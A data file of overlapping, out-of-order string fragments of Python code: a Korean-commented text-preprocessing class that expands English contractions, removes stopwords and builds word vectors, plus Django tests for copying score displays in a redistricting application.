"(after_voc_length - before_voc_length) self.inform['voc_length'] = after_voc_length word_vector = [[] for i in sentence_words]",
"듯 하다. ( 따라서 숫자는 제외한다.) if vocab not in stop_words: if vocab",
"# be동사를 찾아내기 위해, 변환을 해준다. (is 줄임말 풀어주기.) #WI = WI.replace(\"you're\",'you are')",
"WI = WI.replace('\\n',' ') # 문단에 줄 내림이 있다면, 스페이스바로 바꿔주기 #be =",
": ') # 문장 받아오기. WI = word input. WI = WI.replace('\\n',' ')",
"') # 문단에 줄 내림이 있다면, 스페이스바로 바꿔주기 #be = {'am', 'is', 'are',",
"WI.replace(\"they'd\",'they would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'd\",'we would') #",
"#WI = WI.replace(\"i'll\",'i will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'll\",'you",
"if word.isdigit() == False: # 숫자가 계속 학습하는 문장에 들어가서 학습 효율이 떨어지는",
"WI = input('문장을 입력해주세요 : ') # 문장 받아오기. WI = word input.",
"will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it'll\",'it will') # 조동사를",
"해준다. #WI = WI.replace(\"it'll\",'it will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"위해, 변환을 해준다. #WI = WI.replace(\"it's\",'it is') # be동사를 찾아내기 위해, 변환을 해준다.",
"제외한다.) if vocab not in stop_words: if vocab not in voc: voc.append(vocab) self.inform['voc']",
"입력받은 문장 그대로. for length in range(len(sentence_words)): for vocab in sentence_words[length]: if vocab.isdigit()",
"# word_vector >> 입력받은 문장들을 단어별로 구분해 놓은 리스트. for length in range(len(sentence_words)):",
"#WI = WI.replace(\"she'd\",'she would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = re.sub(\"[.]{2,}\",'',WI)",
"= WI.replace(\"it's\",'it is') # be동사를 찾아내기 위해, 변환을 해준다. (is 줄임말 풀어주기.) #WI",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'll\",'we will') # 조동사를 찾아내기",
"문단에 줄 내림이 있다면, 스페이스바로 바꿔주기 #be = {'am', 'is', 'are', 'be' ,",
"# be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they're\",'they are') # be동사를 찾아내기",
"해준다. #WI = WI.replace(\"we're\",'we are') # be동사를 찾아내기 위해, 변환을 해준다. #Auxiliary_verb =",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'll\",'he will') # 조동사를 찾아내기 위해,",
"= WI.replace(\"you'll\",'you will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'll\",'they will')",
"문장들을 단어별로 구분해 놓은 리스트. for length in range(len(sentence_words)): for word in sentence_words[length]:",
"때문. WI = re.sub(\"[.]{1,}\",'.',WI) sentence = WI.strip(string.punctuation).split('.') # 문단에 마침표가 있다면, 문장을 분리해주기.",
"voc: voc_vector = np.zeros_like(voc, dtype = int)# 단어장 크기의 새로운 벡터를 만든다. index_of_input_word",
"변환을 해준다. #WI = WI.replace(\"it'll\",'it will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"self.inform['voc_length'] = after_voc_length word_vector = [[] for i in sentence_words] word_sentence = [[]",
"변환을 해준다. #WI = WI.replace(\"they'd\",'they would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"위해, 변환을 해준다. #WI = WI.replace(\"that's\",'that is') # be동사를 찾아내기 위해, 변환을 해준다",
"you'll 같은 거 때문. WI = re.sub(\"[.]{1,}\",'.',WI) sentence = WI.strip(string.punctuation).split('.') # 문단에 마침표가",
"문단에 마침표가 있다면, 문장을 분리해주기. 마지막에 있는 구두점 떼어주기. sentence_words = [s.split() for",
"WI.replace(\"i'm\",'i am') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he's\",'he is') #",
"내림이 있다면, 스페이스바로 바꿔주기 #be = {'am', 'is', 'are', 'be' , 'was', 'were'}",
"#WI = WI.replace(\"they'll\",'they will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'll\",'we",
"am') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he's\",'he is') # be동사를",
"제거하지 않음... >> stop words에 포함된 단어 you'll 같은 거 때문. WI =",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"i'd\",'i would') # 조동사를 찾아내기 위해, 변환을",
"= (after_voc_length - before_voc_length) self.inform['voc_length'] = after_voc_length word_vector = [[] for i in",
"몇번 index에 있는지를 확인. voc_vectors.append(voc_vector) self.inform['voc_vectors'] = voc_vectors # word_vector >> 입력받은 문장들을",
"import numpy as np import string import re import nltk nltk.download('stopwords') stop_words =",
"= WI.replace(\"she'd\",'she would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = re.sub(\"[.]{2,}\",'',WI) #",
"is') # be동사를 찾아내기 위해, 변환을 해준다 #WI = WI.replace(\"what's\",'what is') # be동사를",
"int)# 단어장 크기의 새로운 벡터를 만든다. index_of_input_word = voc.index(word) voc_vector[index_of_input_word] += 1 #",
"= self.inform['sentence_words'] # 입력받은 문장 그대로. for length in range(len(sentence_words)): for vocab in",
"#WI = WI.replace(\"she'll\",'she will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it'll\",'it",
"nltk.corpus.stopwords.words('english') class word_inform(): def __init__(self): self.inform = {} def wordinput(self): WI = input('문장을",
"word_sentence = [[] for i in sentence_words] voc_vectors = [] for word in",
"WI.replace(\"it's\",'it is') # be동사를 찾아내기 위해, 변환을 해준다. (is 줄임말 풀어주기.) #WI =",
"[[] for i in sentence_words] word_sentence = [[] for i in sentence_words] voc_vectors",
"= WI.replace('\\n',' ') # 문단에 줄 내림이 있다면, 스페이스바로 바꿔주기 #be = {'am',",
"변환을 해준다. #WI = WI.replace(\"they're\",'they are') # be동사를 찾아내기 위해, 변환을 해준다. #WI",
"') # 문장 받아오기. WI = word input. WI = WI.replace('\\n',' ') #",
"# 특수문자 제거하기 따옴표는 제거하지 않음... >> stop words에 포함된 단어 you'll 같은",
"단어장의 몇번 index에 있는지를 확인. word_vector[length].append(voc_vector) word_sentence[length].append(word) self.inform['sentence_words'] = word_sentence self.inform['word_vector'] = word_vector",
"크기의 새로운 벡터를 만든다. index_of_input_word = voc.index(word) voc_vector[index_of_input_word] += 1 # 한단어가 단어장의",
"in voc: voc_vector = np.zeros_like(voc, dtype = int)# 단어장 크기의 새로운 벡터를 만든다.",
"#WI = WI.replace(\"that'll\",'that will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"i'd\",'i",
"변환을 해준다. #WI = WI.replace(\"he's\",'he is') # be동사를 찾아내기 위해, 변환을 해준다. #WI",
"한단어가 단어장의 몇번 index에 있는지를 확인. word_vector[length].append(voc_vector) word_sentence[length].append(word) self.inform['sentence_words'] = word_sentence self.inform['word_vector'] =",
"in range(len(sentence_words)): for vocab in sentence_words[length]: if vocab.isdigit() == False: # 숫자가 계속",
"위해, 변환을 해준다. #WI = WI.replace(\"he'd\",'he would') # 조동사를 찾아내기 위해, 변환을 해준다.",
"word_vector >> 입력받은 문장들을 단어별로 구분해 놓은 리스트. for length in range(len(sentence_words)): for",
"#WI = WI.replace(\"she's\",'she is') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that's\",'that",
"# 문단에 줄 내림이 있다면, 스페이스바로 바꿔주기 #be = {'am', 'is', 'are', 'be'",
"= WI.replace(\"he's\",'he is') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she's\",'she is')",
"will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'll\",'she will') # 조동사를",
"sentence_words = self.inform['sentence_words'] # 입력받은 문장 그대로. for length in range(len(sentence_words)): for vocab",
"변환을 해준다. #WI = WI.replace(\"she'll\",'she will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"위해, 변환을 해준다. #WI = WI.replace(\"we're\",'we are') # be동사를 찾아내기 위해, 변환을 해준다.",
"be동사를 찾아내기 위해, 변환을 해준다 #WI = WI.replace(\"what's\",'what is') # be동사를 찾아내기 위해,",
"sentence_words] word_sentence = [[] for i in sentence_words] voc_vectors = [] for word",
"voc.append(vocab) self.inform['voc'] = voc after_voc_length = len(voc) self.inform['voc_length_diff'] = (after_voc_length - before_voc_length) self.inform['voc_length']",
"받아오기. WI = word input. WI = WI.replace('\\n',' ') # 문단에 줄 내림이",
"( 따라서 숫자는 제외한다.) if vocab not in stop_words: if vocab not in",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'll\",'she will') # 조동사를 찾아내기 위해, 변환을",
"= nltk.corpus.stopwords.words('english') class word_inform(): def __init__(self): self.inform = {} def wordinput(self): WI =",
"'be' , 'was', 'were'} # be 동사 저장. WI = WI.lower() #WI =",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that's\",'that is') # be동사를 찾아내기 위해, 변환을",
"index_of_input_word = voc.index(word) voc_vector[index_of_input_word] += 1 # 한단어가 단어장의 몇번 index에 있는지를 확인.",
"for word in sentence_words[length]: if word.isdigit() == False: # 숫자가 계속 학습하는 문장에",
"'are', 'be' , 'was', 'were'} # be 동사 저장. WI = WI.lower() #WI",
"문장에 들어가서 학습 효율이 떨어지는 듯 하다. ( 따라서 숫자는 제외한다.) if word",
"word.isdigit() == False: # 숫자가 계속 학습하는 문장에 들어가서 학습 효율이 떨어지는 듯",
"in stop_words: voc_vector = np.zeros_like(voc, dtype = int)# 단어장 크기의 새로운 벡터를 만든다.",
"# be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she's\",'she is') # be동사를 찾아내기",
"are') # be동사를 찾아내기 위해, 변환을 해준다. #Auxiliary_verb = {'will','would','can','could','shall','should','may','might','must'} #WI = WI.replace(\"i'll\",'i",
"변환을 해준다. #WI = WI.replace(\"i'd\",'i would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'll\",'you will') # 조동사를 찾아내기",
"위해, 변환을 해준다. #WI = WI.replace(\"you'd\",'you would') # 조동사를 찾아내기 위해, 변환을 해준다.",
"in sentence_words] word_sentence = [[] for i in sentence_words] voc_vectors = [] for",
"dtype = int)# 단어장 크기의 새로운 벡터를 만든다. index_of_input_word = voc.index(word) voc_vector[index_of_input_word] +=",
"would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'd\",'we would') # 조동사를",
"해준다. #WI = re.sub(\"[.]{2,}\",'',WI) # 마침표 두개이상 없애기 WI = re.sub('[\\\\w.]+@[\\\\w.]+',' ',WI) WI",
"wordinput(self): WI = input('문장을 입력해주세요 : ') # 문장 받아오기. WI = word",
"단어장의 몇번 index에 있는지를 확인. voc_vectors.append(voc_vector) self.inform['voc_vectors'] = voc_vectors # word_vector >> 입력받은",
"= len(voc) self.inform['voc_length_diff'] = (after_voc_length - before_voc_length) self.inform['voc_length'] = after_voc_length word_vector = [[]",
"stop_words: voc_vector = np.zeros_like(voc, dtype = int)# 단어장 크기의 새로운 벡터를 만든다. index_of_input_word",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we're\",'we are') # be동사를 찾아내기 위해, 변환을",
"#WI = WI.replace(\"we'll\",'we will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'll\",'he",
"sentence_words def word_voc(self,voc): before_voc_length = len(voc) sentence_words = self.inform['sentence_words'] # 입력받은 문장 그대로.",
"변환을 해준다. #WI = WI.replace(\"she's\",'she is') # be동사를 찾아내기 위해, 변환을 해준다. #WI",
"# 한단어가 단어장의 몇번 index에 있는지를 확인. word_vector[length].append(voc_vector) word_sentence[length].append(word) self.inform['sentence_words'] = word_sentence self.inform['word_vector']",
"re import nltk nltk.download('stopwords') stop_words = nltk.corpus.stopwords.words('english') class word_inform(): def __init__(self): self.inform =",
"위해, 변환을 해준다. #WI = WI.replace(\"he's\",'he is') # be동사를 찾아내기 위해, 변환을 해준다.",
"# be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he's\",'he is') # be동사를 찾아내기",
"문장속에 있는 단어 분리 해주기. self.inform['sentence_words'] = sentence_words def word_voc(self,voc): before_voc_length = len(voc)",
"해준다. #WI = WI.replace(\"that's\",'that is') # be동사를 찾아내기 위해, 변환을 해준다 #WI =",
"import string import re import nltk nltk.download('stopwords') stop_words = nltk.corpus.stopwords.words('english') class word_inform(): def",
"해준다. #WI = WI.replace(\"you'll\",'you will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"i'd\",'i would') # 조동사를 찾아내기",
"각각의 문장속에 있는 단어 분리 해주기. self.inform['sentence_words'] = sentence_words def word_voc(self,voc): before_voc_length =",
"voc_vector[index_of_input_word] += 1 # 한단어가 단어장의 몇번 index에 있는지를 확인. voc_vectors.append(voc_vector) self.inform['voc_vectors'] =",
"위해, 변환을 해준다. #WI = WI.replace(\"they're\",'they are') # be동사를 찾아내기 위해, 변환을 해준다.",
"변환을 해준다. #WI = WI.replace(\"you'll\",'you will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"해준다 #WI = WI.replace(\"what's\",'what is') # be동사를 찾아내기 위해, 변환을 해준다. #WI =",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'd\",'they would') # 조동사를 찾아내기",
"WI.replace(\"that'll\",'that will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"i'd\",'i would') #",
"듯 하다. ( 따라서 숫자는 제외한다.) if word not in stop_words: voc_vector =",
"words에 포함된 단어 you'll 같은 거 때문. WI = re.sub(\"[.]{1,}\",'.',WI) sentence = WI.strip(string.punctuation).split('.')",
"변환을 해준다. #WI = WI.replace(\"he'll\",'he will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"for s in sentence] # 각각의 문장속에 있는 단어 분리 해주기. self.inform['sentence_words'] =",
"= WI.replace(\"you're\",'you are') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they're\",'they are')",
"for vocab in sentence_words[length]: if vocab.isdigit() == False: # 숫자가 계속 학습하는 문장에",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that'll\",'that will') # 조동사를 찾아내기 위해, 변환을",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'll\",'he will') # 조동사를 찾아내기 위해, 변환을",
"= voc after_voc_length = len(voc) self.inform['voc_length_diff'] = (after_voc_length - before_voc_length) self.inform['voc_length'] = after_voc_length",
"def wordinput(self): WI = input('문장을 입력해주세요 : ') # 문장 받아오기. WI =",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"that'll\",'that will') # 조동사를 찾아내기",
"as np import string import re import nltk nltk.download('stopwords') stop_words = nltk.corpus.stopwords.words('english') class",
"self.inform['voc'] = voc after_voc_length = len(voc) self.inform['voc_length_diff'] = (after_voc_length - before_voc_length) self.inform['voc_length'] =",
"WI.replace(\"he'll\",'he will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'll\",'she will') #",
"voc_vectors # word_vector >> 입력받은 문장들을 단어별로 구분해 놓은 리스트. for length in",
"떨어지는 듯 하다. ( 따라서 숫자는 제외한다.) if word not in stop_words: voc_vector",
"확인. voc_vectors.append(voc_vector) self.inform['voc_vectors'] = voc_vectors # word_vector >> 입력받은 문장들을 단어별로 구분해 놓은",
"'is', 'are', 'be' , 'was', 'were'} # be 동사 저장. WI = WI.lower()",
"= WI.replace(\"they'll\",'they will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'll\",'we will')",
"for length in range(len(sentence_words)): for word in sentence_words[length]: if word.isdigit() == False: #",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'll\",'you will') # 조동사를 찾아내기 위해, 변환을",
"해준다. #WI = WI.replace(\"they're\",'they are') # be동사를 찾아내기 위해, 변환을 해준다. #WI =",
"제거하기 따옴표는 제거하지 않음... >> stop words에 포함된 단어 you'll 같은 거 때문.",
"변환을 해준다. #WI = WI.replace(\"they'll\",'they will') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"거 때문. WI = re.sub(\"[.]{1,}\",'.',WI) sentence = WI.strip(string.punctuation).split('.') # 문단에 마침표가 있다면, 문장을",
"해준다. #WI = WI.replace(\"she'd\",'she would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"입력받은 문장들을 단어별로 구분해 놓은 리스트. for length in range(len(sentence_words)): for word in",
"sentence = WI.strip(string.punctuation).split('.') # 문단에 마침표가 있다면, 문장을 분리해주기. 마지막에 있는 구두점 떼어주기.",
"= WI.replace(\"they'd\",'they would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'd\",'we would')",
"변환을 해준다. #WI = WI.replace(\"we'd\",'we would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"voc.index(word) voc_vector[index_of_input_word] += 1 # 한단어가 단어장의 몇번 index에 있는지를 확인. voc_vectors.append(voc_vector) self.inform['voc_vectors']",
"before_voc_length = len(voc) sentence_words = self.inform['sentence_words'] # 입력받은 문장 그대로. for length in",
"if vocab not in voc: voc.append(vocab) self.inform['voc'] = voc after_voc_length = len(voc) self.inform['voc_length_diff']",
">> 입력받은 문장들을 단어별로 구분해 놓은 리스트. for length in range(len(sentence_words)): for word",
"해준다. #WI = WI.replace(\"i'd\",'i would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"위해, 변환을 해준다. #WI = WI.replace(\"that'll\",'that will') # 조동사를 찾아내기 위해, 변환을 해준다.",
"# be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we're\",'we are') # be동사를 찾아내기",
"마지막에 있는 구두점 떼어주기. sentence_words = [s.split() for s in sentence] # 각각의",
"해준다. #WI = WI.replace(\"she's\",'she is') # be동사를 찾아내기 위해, 변환을 해준다. #WI =",
"조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"it'll\",'it will') # 조동사를 찾아내기 위해,",
"위해, 변환을 해준다. #Auxiliary_verb = {'will','would','can','could','shall','should','may','might','must'} #WI = WI.replace(\"i'll\",'i will') # 조동사를 찾아내기",
"위해, 변환을 해준다. #WI = WI.replace(\"we'd\",'we would') # 조동사를 찾아내기 위해, 변환을 해준다.",
"#WI = WI.replace(\"you'd\",'you would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'd\",'they",
"after_voc_length word_vector = [[] for i in sentence_words] word_sentence = [[] for i",
"해준다. #WI = WI.replace(\"we'd\",'we would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI =",
"= [[] for i in sentence_words] voc_vectors = [] for word in voc:",
"sentence_words] voc_vectors = [] for word in voc: voc_vector = np.zeros_like(voc, dtype =",
"놓은 리스트. for length in range(len(sentence_words)): for word in sentence_words[length]: if word.isdigit() ==",
"re.sub(\"[?!'.]{1,}\",'.',WI) WI = re.sub(\"[^\\w\\s'.]+\",'',WI) # 특수문자 제거하기 따옴표는 제거하지 않음... >> stop words에",
"be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she's\",'she is') # be동사를 찾아내기 위해,",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"they'd\",'they would') # 조동사를 찾아내기 위해, 변환을",
"= int)# 단어장 크기의 새로운 벡터를 만든다. index_of_input_word = voc.index(word) voc_vector[index_of_input_word] += 1",
"위해, 변환을 해준다. #WI = re.sub(\"[.]{2,}\",'',WI) # 마침표 두개이상 없애기 WI = re.sub('[\\\\w.]+@[\\\\w.]+','",
"WI.replace('\\n',' ') # 문단에 줄 내림이 있다면, 스페이스바로 바꿔주기 #be = {'am', 'is',",
"= WI.replace(\"i'd\",'i would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"you'd\",'you would')",
"마침표가 있다면, 문장을 분리해주기. 마지막에 있는 구두점 떼어주기. sentence_words = [s.split() for s",
"voc_vector[index_of_input_word] += 1 # 한단어가 단어장의 몇번 index에 있는지를 확인. word_vector[length].append(voc_vector) word_sentence[length].append(word) self.inform['sentence_words']",
"WI = re.sub(\"[?!'.]{1,}\",'.',WI) WI = re.sub(\"[^\\w\\s'.]+\",'',WI) # 특수문자 제거하기 따옴표는 제거하지 않음... >>",
"구두점 떼어주기. sentence_words = [s.split() for s in sentence] # 각각의 문장속에 있는",
"한단어가 단어장의 몇번 index에 있는지를 확인. voc_vectors.append(voc_vector) self.inform['voc_vectors'] = voc_vectors # word_vector >>",
"해준다. #WI = WI.replace(\"it's\",'it is') # be동사를 찾아내기 위해, 변환을 해준다. (is 줄임말",
"#WI = WI.replace(\"we'd\",'we would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he'd\",'he",
"같은 거 때문. WI = re.sub(\"[.]{1,}\",'.',WI) sentence = WI.strip(string.punctuation).split('.') # 문단에 마침표가 있다면,",
"for word in voc: voc_vector = np.zeros_like(voc, dtype = int)# 단어장 크기의 새로운",
"구분해 놓은 리스트. for length in range(len(sentence_words)): for word in sentence_words[length]: if word.isdigit()",
"# be동사를 찾아내기 위해, 변환을 해준다 #WI = WI.replace(\"what's\",'what is') # be동사를 찾아내기",
"# 숫자가 계속 학습하는 문장에 들어가서 학습 효율이 떨어지는 듯 하다. ( 따라서",
"변환을 해준다. #WI = WI.replace(\"you'd\",'you would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI",
"특수문자 제거하기 따옴표는 제거하지 않음... >> stop words에 포함된 단어 you'll 같은 거",
"찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'll\",'we will') # 조동사를 찾아내기 위해, 변환을",
"# 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"we'd\",'we would') # 조동사를 찾아내기",
"있는지를 확인. voc_vectors.append(voc_vector) self.inform['voc_vectors'] = voc_vectors # word_vector >> 입력받은 문장들을 단어별로 구분해",
"np import string import re import nltk nltk.download('stopwords') stop_words = nltk.corpus.stopwords.words('english') class word_inform():",
"= [] for word in voc: voc_vector = np.zeros_like(voc, dtype = int)# 단어장",
"would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"she'd\",'she would') # 조동사를",
"들어가서 학습 효율이 떨어지는 듯 하다. ( 따라서 숫자는 제외한다.) if word not",
"word in voc: voc_vector = np.zeros_like(voc, dtype = int)# 단어장 크기의 새로운 벡터를",
"stop_words: if vocab not in voc: voc.append(vocab) self.inform['voc'] = voc after_voc_length = len(voc)",
"WI = WI.lower() #WI = WI.replace(\"i'm\",'i am') # be동사를 찾아내기 위해, 변환을 해준다.",
"voc_vectors = [] for word in voc: voc_vector = np.zeros_like(voc, dtype = int)#",
"would') # 조동사를 찾아내기 위해, 변환을 해준다. #WI = re.sub(\"[.]{2,}\",'',WI) # 마침표 두개이상",
"WI.strip(string.punctuation).split('.') # 문단에 마침표가 있다면, 문장을 분리해주기. 마지막에 있는 구두점 떼어주기. sentence_words =",
"in voc: voc.append(vocab) self.inform['voc'] = voc after_voc_length = len(voc) self.inform['voc_length_diff'] = (after_voc_length -",
"string import re import nltk nltk.download('stopwords') stop_words = nltk.corpus.stopwords.words('english') class word_inform(): def __init__(self):",
"word_inform(): def __init__(self): self.inform = {} def wordinput(self): WI = input('문장을 입력해주세요 :",
"계속 학습하는 문장에 들어가서 학습 효율이 떨어지는 듯 하다. ( 따라서 숫자는 제외한다.)",
"#WI = WI.replace(\"i'm\",'i am') # be동사를 찾아내기 위해, 변환을 해준다. #WI = WI.replace(\"he's\",'he",
"문장을 분리해주기. 마지막에 있는 구두점 떼어주기. sentence_words = [s.split() for s in sentence]",
"변환을 해준다. #WI = WI.replace(\"we're\",'we are') # be동사를 찾아내기 위해, 변환을 해준다. #Auxiliary_verb",
"리스트. for length in range(len(sentence_words)): for word in sentence_words[length]: if word.isdigit() == False:"
] |
[
"correct number of functions\" ) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't",
"same name for user more than once\" ) self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay",
"\"Copied scoredisplay has wrong number of panels attached\") panels_tested = 0 for panel",
"copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display, owner=user) self.assertEqual(self.display.__unicode__(), copy.__unicode__(), \"Title of scoredisplay not",
"number of panels attached\") panels_tested = 0 for panel in new_copy.scorepanel_set.all(): if panel.title",
"in new_demo.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan summary",
"= copy.copy_from(display=self.display, owner=user) self.assertEqual(self.display.__unicode__(), copy.__unicode__(), \"Title of scoredisplay not copied\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()),",
"= functions.all() demographics.save() self.functions = functions.all() self.demographics = demographics self.summary = summary self.display",
"display\") self.assertEqual( len(copy.scorepanel_set.all()), len(new_copy.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") panels_tested",
"for panel in new_copy.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied",
"self.display = display def tearDown(self): self.display.delete() super(StatisticsSetTestCase, self).tearDown() def test_copy_scoredisplay(self): user = User(username=\"Stats",
"= ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display) self.assertEqual( \"%s copy\" % self.display.__unicode__(), copy.__unicode__(), \"ScoreDisplay title",
"# We'll set the owner but it's overwritten copy = ScoreDisplay(owner=user) copy =",
"'Total Population')) demographics.score_functions = functions.all() demographics.save() self.functions = functions.all() self.demographics = demographics self.summary",
"display.scorepanel_set.add(demographics) functions = ScoreFunction.objects.filter( name__in=('Voting Age Population', 'Hispanic voting-age population', 'Total Population')) demographics.score_functions",
") copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display, owner=user) self.assertEqual(self.display.__unicode__(), copy.__unicode__(), \"Title of scoredisplay",
"panel.score_functions.all() ), \"Copied demographics panel didn't have correct number of functions\" ) panels_tested",
"\"Copied demographics panel didn't have correct number of functions\" ) panels_tested += 1",
"in new_copy.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan summary",
"\"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan summary panel didn't have correct number",
"functions=[unicode(str(vap.id))], title=\"Copied from\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels",
"scoredisplay has wrong number of panels attached\") self.assertNotEqual( user, copy.owner, \"ScoreDisplay copied owner",
"once\" ) self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\")",
"wrong number of panels attached\") new_demo = ScoreDisplay.objects.get(title=\"Copied from\") panels_tested = 0 for",
"= ScorePanel.objects.get(title='Plan Summary') demographics = ScorePanel.objects.get(title='Demographics') display.scorepanel_set.add(summary) display.scorepanel_set.add(demographics) functions = ScoreFunction.objects.filter( name__in=('Voting Age",
") panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't have both panels needed\")",
"of functions\" ) panels_tested += 1 elif panel.title == \"Demographics\": self.assertEqual(1, len( panel.score_functions.all()",
"import * class StatisticsSetTestCase(BaseTestCase): fixtures = [ 'redistricting_testdata.json', 'redistricting_testdata_geolevel2.json', 'redistricting_statisticssets.json', ] def setUp(self):",
"= ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display, owner=user) self.assertEqual(self.display.__unicode__(), copy.__unicode__(), \"Title of scoredisplay not copied\")",
"1 elif panel.title == \"Demographics\": self.assertEqual(1, len( panel.score_functions.all() ), \"Copied demographics panel didn't",
"panel.title == \"Demographics\": self.assertEqual(1, len( panel.score_functions.all() ), \"Copied demographics panel didn't have correct",
"redistricting.models import * class StatisticsSetTestCase(BaseTestCase): fixtures = [ 'redistricting_testdata.json', 'redistricting_testdata_geolevel2.json', 'redistricting_statisticssets.json', ] def",
"display.scorepanel_set.add(summary) display.scorepanel_set.add(demographics) functions = ScoreFunction.objects.filter( name__in=('Voting Age Population', 'Hispanic voting-age population', 'Total Population'))",
"new_copy.title, \"Title of scoredisplay not copied\") self.assertEqual(copy.id, new_copy.id, \"Scorefunctions not added to current",
"copy.copy_from(display=self.display) self.assertEqual( \"%s copy\" % self.display.__unicode__(), copy.__unicode__(), \"ScoreDisplay title copied, allowing same name",
"number of functions\" ) panels_tested += 1 elif panel.title == \"Demographics\": self.assertEqual( len(self.functions),",
"base import BaseTestCase from django.contrib.auth.models import User from redistricting.models import * class StatisticsSetTestCase(BaseTestCase):",
"django.contrib.auth.models import User from redistricting.models import * class StatisticsSetTestCase(BaseTestCase): fixtures = [ 'redistricting_testdata.json',",
"\"Copied scoredisplay has wrong number of panels attached\") new_demo = ScoreDisplay.objects.get(title=\"Copied from\") panels_tested",
"summary panel didn't have correct number of functions\" ) panels_tested += 1 elif",
"from base import BaseTestCase from django.contrib.auth.models import User from redistricting.models import * class",
"User(username=\"Stats User\") user.save() # We'll set the owner but it's overwritten copy =",
"Summary') demographics = ScorePanel.objects.get(title='Demographics') display.scorepanel_set.add(summary) display.scorepanel_set.add(demographics) functions = ScoreFunction.objects.filter( name__in=('Voting Age Population', 'Hispanic",
"didn't have correct number of functions\" ) panels_tested += 1 elif panel.title ==",
